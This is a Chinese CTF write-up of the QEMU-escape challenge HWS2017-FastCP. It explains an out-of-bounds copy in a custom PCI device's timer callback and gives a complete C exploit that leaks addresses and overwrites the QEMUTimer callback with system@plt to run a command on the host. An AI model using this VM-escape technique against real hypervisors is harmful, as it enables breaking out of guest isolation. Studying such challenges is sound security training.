当前位置: 首页 > news >正文

【qemu逃逸】HWS2017-FastCP

前言

虚拟机用户名:root

虚拟机密码:无密码

本题有符号,所以对于设备定位啥的就不多说了,直接逆向设备吧。

设备逆向

在 realize 函数中设置一个时钟任务,并且可以看到只注册了 mmio,大小为 0x100000。

我们先看下设备结构体  FastCPState:

在大小为 0x1000 的 CP_buffer 下定义了一个 QEMUTimer 结构体,这里大概可以猜到就是劫持 cp_timer 了。

fastcp_mmio_read

该函数很简单,就是读取 FastCPState->cp_state 中的值。

 fastcp_mmio_write 

该函数也很简单,就是设置 FastCPState->cp_state 中的值,并且当 addr = 24 时,会触发定时任务,其会调用回调函数 fastcp_cp_timer。

fastcp_cp_timer

漏洞就在回调函数中,在对物理内存进行读写的实话没有检查 CP_cnt 的大小,从而导致越界读写。

漏洞利用

利用很简单,程序本身有 system 导入符号。所以只需要:

1、越界读 QEMUTimer 中的数据从而泄漏 FastCPState 地址和 system@plt 地址

2、越界写 QEMUTimer,使得 cb = system@plt,opaque = CP_buffer,并在 CP_buffer 中写好 cmd

3、触发时钟任务,从而导致任意命令执行

exp 如下:

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <stdint.h>
#include <string.h>void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}void * mmio_base;
void mmio_init()
{int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR|O_SYNC);if (fd < 0) puts("[X] open for resource0"), exit(EXIT_FAILURE);mmio_base = mmap(0, 0x100000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);if (mlock(mmio_base, 0x100000) < 0) puts("[X] mlock for mmio"), exit(EXIT_FAILURE);printf("[+] mmio_base: %#p\n", mmio_base);
}uint64_t gva_to_gpa(void* addr)
{uint64_t page;int fd = open("/proc/self/pagemap", O_RDONLY);if (fd < 0) puts("[X] open for pagemap"), exit(EXIT_FAILURE);lseek(fd, ((uint64_t)addr >> 12 << 3), 0);read(fd, &page, 8);return ((page & ((1ULL << 55) - 1)) << 12) | ((uint64_t)addr & ((1ULL << 12) - 1));
}#define CP_list_cnt      16
#define cmd              24
#define CP_list_src      8struct CP_INFO {uint64_t CP_src;uint64_t CP_cnt;uint64_t CP_dst;
};void mmio_write(uint64_t addr, uint64_t val)
{*(uint64_t*)(mmio_base + addr) = val;
}int main(int argc, char** argv, char** envp)
{mmio_init();system("sysctl vm.nr_hugepages=30");void * buf = mmap(0, 512 * 0x1000, PROT_READ | PROT_WRITE , MAP_SHARED | MAP_ANONYMOUS | 0x40000, -1, 0);memset(buf, 'A', 0x2000);struct CP_INFO tmp;tmp.CP_src = 0;tmp.CP_cnt = 0x1020;tmp.CP_dst = gva_to_gpa(buf);mmio_write(CP_list_src, gva_to_gpa(&tmp));mmio_write(CP_list_cnt, 1);mmio_write(cmd, 4);sleep(1);binary_dump("QEMUTimer", (char*)buf+0x1000, 0x20);uint64_t timer_list = *(uint64_t*)((char*)buf+0x1000+0x8);uint64_t system_plt = *(uint64_t*)((char*)buf+0x1000+0x10) - 0x4dce80 + 0x2c2180;uint64_t CP_buffer  = *(uint64_t*)((char*)buf+0x1000+0x18) + 0xa00;printf("[+] timer_list: %#p\n", timer_list);printf("[+] system_plt: %#p\n", system_plt);printf("[+] CP_buffer : %#p\n", CP_buffer);struct CP_INFO ttmp[0x11];for (int i = 0; i < 0x11; i++){ttmp[i].CP_src = gva_to_gpa(buf);ttmp[i].CP_cnt = 0x1020;ttmp[i].CP_dst = gva_to_gpa(buf);}char * scmd = "xcalc";strcpy(buf, scmd);*(uint64_t*)((char*)buf+0x1000)      = 0xffffffffffffffff;*(uint64_t*)((char*)buf+0x1000+0x8)  = timer_list;*(uint64_t*)((char*)buf+0x1000+0x10) = system_plt;*(uint64_t*)((char*)buf+0x1000+0x18) = CP_buffer;mmio_write(CP_list_cnt, 0x11);mmio_write(CP_list_src, gva_to_gpa(ttmp));mmio_write(cmd, 1);sleep(1);mmio_write(cmd, 1);return 0;
}

效果如下:

坑点

cpu_physical_memory_rw 函数是直接对物理内存进行读写,所以当我们读取超过一页大小的数据时,可能会由于物理内存不连续而导致无法正确读取数据或破坏其他数据。

所以这里得分配连续的物理页,这里参考这篇博客,即使用大页内存,因为大页内存在物理上是连续的:Linux申请大页内存(mmap)-腾讯云开发者社区-腾讯云

相关文章:

【qemu逃逸】HWS2017-FastCP

前言 虚拟机用户名&#xff1a;root 虚拟机密码&#xff1a;无密码 本题有符号&#xff0c;所以对于设备定位啥的就不多说了&#xff0c;直接逆向设备吧。 设备逆向 在 realize 函数中设置一个时钟任务&#xff0c;并且可以看到只注册了 mmio&#xff0c;大小为 0x100000。…...

调节扬声器和麦克风的音量

const audioSrc require("./../../src/assets/music.mp3")// 调节扬声器音量switchYSQColumn(){//使用Audio对象创建一个新的音频元素const audioElement new Audio();//将音频元素的src属性设置为音频文件的urlaudioElement.src audioSrc;audioElement.play()//创…...

XShelll-修改快捷键-xftp-修改编辑器

文章目录 1.XShelll-修改快捷键2.Xftp-修改文本编辑器3.总结 1.XShelll-修改快捷键 工具>选项 鼠标键盘&#xff0c;右键编辑&#xff0c;新建快捷键。 复制粘贴改成shiftc,shiftv。更习惯一些。 2.Xftp-修改文本编辑器 xftp修改服务器文件默认的编辑器&#xff0c;是记…...

编译原理(1)----LL(1)文法(首符号集,后跟符号集,选择符号集)

一.首符号集&#xff08;First()&#xff09; 技巧&#xff1a;找最左边可能出现的终结符 例&#xff1a; 1.First(E) E->T,最左边为T&#xff0c;又因为T->F,最左边为F&#xff0c;F->(E)|i,则最左边为{&#xff08;&#xff0c;i } 2.First(T):只需要看符号串最左…...

远程仓库地址改变后更换url

请按照以下步骤进行操作&#xff1a; 打开终端或命令提示符&#xff0c;并导航到你的本地仓库目录。运行以下命令&#xff0c;查看当前的远程仓库配置&#xff1a;git remote -v 这将显示当前的远程仓库地址。 如果远程仓库地址显示为192.168.1.178&#xff0c;请使用以下命…...

VR全景如何助力乡村振兴,乡村发展在哪些方面用到VR全景技术

引言&#xff1a; 乡村振兴是当今中国发展的重要战略&#xff0c;也是推动农村经济社会全面发展的关键举措。在这一过程中&#xff0c;虚拟现实&#xff08;VR&#xff09;全景技术正逐渐崭露头角&#xff0c;为乡村振兴提供了机遇。 一&#xff0e;VR全景技术的概念和应用 1…...

21.6 Python 构建ARP中间人数据包

ARP中间人攻击&#xff08;ARP spoofing&#xff09;是一种利用本地网络的ARP协议漏洞进行欺骗的攻击方式&#xff0c;攻击者会向目标主机发送虚假ARP响应包&#xff0c;使得目标主机的ARP缓存中的IP地址和MAC地址映射关系被篡改&#xff0c;从而使得目标主机将网络流量发送到攻…...

DVWA靶场SQL注入

本次注入的是DVWA靶场的SQL injection 1.判断是字符型注入还是数字型注入&#xff0c;构造SQL语句 1 and 12 由此可以判断出为字符型注入 2.考虑闭合方式&#xff0c;先随便丢一个单引号试试看看报错提示 You have an error in your SQL syntax; check the manual that cor…...

AD教程 (九)导线及NetLabel的添加

AD教程 &#xff08;九&#xff09;导线及NetLabel的添加 添加导线 绘制导线 点击放置,选择线&#xff0c;或者直接CtrlW快速绘制注意要与绘图工具中的线区别开来&#xff0c;导线是具有电气属性的&#xff0c;绘图工具中的线没有电气属性&#xff0c;只是辅助线绘制导线过程…...

Rust函数进阶

文章目录 函数函数中的函数lambda表达式函数作为参数 Rust系列&#xff1a;初步⚙所有权⚙结构体和枚举类 函数 先来回顾一下Rust中函数的创建过程&#xff0c;在Rust中&#xff0c;函数用fn声明&#xff0c;如有传入参数或返回值&#xff0c;都需要声明数据类型&#xff0c;…...

springboot前后端时间类型传输

springboot前后端时间类型传输 前言1.java使用时间类型java.util.Date2.java使用localDateTime 前言 springboot前后端分离项目总是需要进行时间数据类型的接受和转换,针对打代码过程中不同的类型转化做个总结 1.java使用时间类型java.util.Date springboot的项目中使用了new …...

Deepin安装英特尔AX200 Wifi驱动

谁支持我的 Linux* 驱动程序&#xff1f; Linux 驱动程序是上游 Linux* 内核的一部分。它们通过常规渠道、分发&#xff0c;或 Linux* 内核档案 提供。我们仅支持作为内核版本中一部分的驱动程序的使用。请参阅下表以了解 iwlwifi 驱动程序支持的设备的列表。 在 英特尔 Wi-Fi…...

第十九节——vue内置组件

Vue提供了一些内置的组件&#xff0c;这些组件可以在Vue应用中直接使用&#xff0c;无需额外安装或配置。以下是一些常见的Vue内置组件 一、<transition> 和 <transition-group> 1、概念 <transition> 组件用于在元素插入或移除时应用过渡效果&#xff0c…...

路由器基础(二): BGP原理与配置

BGP 是边界网关协议&#xff0c;目前版本为BGP4, 是一种增强的距离矢量路由协议。该协议运行在不同AS 的路由器之间&#xff0c;用于选择AS之间花费最小的协议。BGP协议基于TCP协议&#xff0c;端口为179。使用面向连接的TCP 可以进行身份认证&#xff0c;可靠地交换路由信息。…...

【漏洞复现】Django _2.0.8_任意URL跳转漏洞(CVE-2018-14574)

感谢互联网提供分享知识与智慧&#xff0c;在法治的社会里&#xff0c;请遵守有关法律法规 文章目录 1.1、漏洞描述1.2、漏洞等级1.3、影响版本1.4、漏洞复现1、基础环境2、漏洞扫描3、漏洞验证 1.5、修复建议 说明内容漏洞编号CVE-2018-14574漏洞名称Django任意URL跳转漏洞漏洞…...

【广州华锐互动】军用飞机VR实战训练系统

随着科技的飞速发展&#xff0c;虚拟现实(VR)技术为军事训练带来了前所未有的机遇。军用飞机VR实战训练系统&#xff0c;正是在这一背景下应运而生的一种创新的训练方法。该系统利用先进的虚拟现实技术&#xff0c;为飞行员提供真实且逼真的模拟飞行环境&#xff0c;使之能够在…...

AI生图王者之战!深度体验实测,谁是真正的艺术家?

10月11日凌晨&#xff0c;设计软件巨头Adobe宣布推出一系列图像生成模型&#xff0c;其中Firefly Image 2作为新一代图像生成器&#xff0c;通过改善皮肤、头发、眼睛、手和身体结构增强了人体渲染质量&#xff0c;提供更好的色彩和改进的动态范围&#xff0c;并为用户提供更大…...

Spring Cloud - 手写 Gateway 源码,实现自定义局部 FilterFactory

目录 一、FilterFactory 分析 1.1、前置知识 1.2、分析源码 1.2.1、整体分析 1.2.2、源码分析 1.3、手写源码 1.3.1、基础框架 1.3.2、实现自定义局部过滤器 1.3.3、加参数的自定义局部过滤器器 一、FilterFactory 分析 1.1、前置知识 前面的学习我们知道&#xff0c…...

14、Python继承和多态:基础继承、方法重写、多态的基本概念

文章目录 基础继承方法重写多态在编程语言中,特别是在面向对象编程(OOP)中,继承和多态是两个核心概念,它们提供了代码重用和接口设计的强大工具。Python 作为一种支持 OOP 的语言,也具备这些特性。 基础继承 继承是面向对象编程的一个基本概念,它允许我们定义一个类(…...

聊聊logback的StatusManager

序 本文主要研究一下logback的StatusManager StatusManager ch/qos/logback/core/status/StatusManager.java public interface StatusManager {/*** Add a new status message.* * param status*/void add(Status status);/*** Obtain a copy of the status list maintain…...

java 实现excel文件转pdf | 无水印 | 无限制

文章目录 目录 文章目录 前言 1.项目远程仓库配置 2.pom文件引入相关依赖 3.代码破解 二、Excel转PDF 1.代码实现 2.Aspose.License.xml 授权文件 总结 前言 java处理excel转pdf一直没找到什么好用的免费jar包工具,自己手写的难度,恐怕高级程序员花费一年的事件,也…...

1688商品列表API与其他数据源的对接思路

将1688商品列表API与其他数据源对接时&#xff0c;需结合业务场景设计数据流转链路&#xff0c;重点关注数据格式兼容性、接口调用频率控制及数据一致性维护。以下是具体对接思路及关键技术点&#xff1a; 一、核心对接场景与目标 商品数据同步 场景&#xff1a;将1688商品信息…...

微软PowerBI考试 PL300-在 Power BI 中清理、转换和加载数据

微软PowerBI考试 PL300-在 Power BI 中清理、转换和加载数据 Power Query 具有大量专门帮助您清理和准备数据以供分析的功能。 您将了解如何简化复杂模型、更改数据类型、重命名对象和透视数据。 您还将了解如何分析列&#xff0c;以便知晓哪些列包含有价值的数据&#xff0c;…...

python报错No module named ‘tensorflow.keras‘

是由于不同版本的tensorflow下的keras所在的路径不同&#xff0c;结合所安装的tensorflow的目录结构修改from语句即可。 原语句&#xff1a; from tensorflow.keras.layers import Conv1D, MaxPooling1D, LSTM, Dense 修改后&#xff1a; from tensorflow.python.keras.lay…...

Kafka入门-生产者

生产者 生产者发送流程&#xff1a; 延迟时间为0ms时&#xff0c;也就意味着每当有数据就会直接发送 异步发送API 异步发送和同步发送的不同在于&#xff1a;异步发送不需要等待结果&#xff0c;同步发送必须等待结果才能进行下一步发送。 普通异步发送 首先导入所需的k…...

CSS | transition 和 transform的用处和区别

省流总结&#xff1a; transform用于变换/变形&#xff0c;transition是动画控制器 transform 用来对元素进行变形&#xff0c;常见的操作如下&#xff0c;它是立即生效的样式变形属性。 旋转 rotate(角度deg)、平移 translateX(像素px)、缩放 scale(倍数)、倾斜 skewX(角度…...

解决:Android studio 编译后报错\app\src\main\cpp\CMakeLists.txt‘ to exist

现象&#xff1a; android studio报错&#xff1a; [CXX1409] D:\GitLab\xxxxx\app.cxx\Debug\3f3w4y1i\arm64-v8a\android_gradle_build.json : expected buildFiles file ‘D:\GitLab\xxxxx\app\src\main\cpp\CMakeLists.txt’ to exist 解决&#xff1a; 不要动CMakeLists.…...

脑机新手指南(七):OpenBCI_GUI:从环境搭建到数据可视化(上)

一、OpenBCI_GUI 项目概述 &#xff08;一&#xff09;项目背景与目标 OpenBCI 是一个开源的脑电信号采集硬件平台&#xff0c;其配套的 OpenBCI_GUI 则是专为该硬件设计的图形化界面工具。对于研究人员、开发者和学生而言&#xff0c;首次接触 OpenBCI 设备时&#xff0c;往…...

云原生周刊:k0s 成为 CNCF 沙箱项目

开源项目推荐 HAMi HAMi&#xff08;原名 k8s‑vGPU‑scheduler&#xff09;是一款 CNCF Sandbox 级别的开源 K8s 中间件&#xff0c;通过虚拟化 GPU/NPU 等异构设备并支持内存、计算核心时间片隔离及共享调度&#xff0c;为容器提供统一接口&#xff0c;实现细粒度资源配额…...

从物理机到云原生:全面解析计算虚拟化技术的演进与应用

前言&#xff1a;我的虚拟化技术探索之旅 我最早接触"虚拟机"的概念是从Java开始的——JVM&#xff08;Java Virtual Machine&#xff09;让"一次编写&#xff0c;到处运行"成为可能。这个软件层面的虚拟化让我着迷&#xff0c;但直到后来接触VMware和Doc…...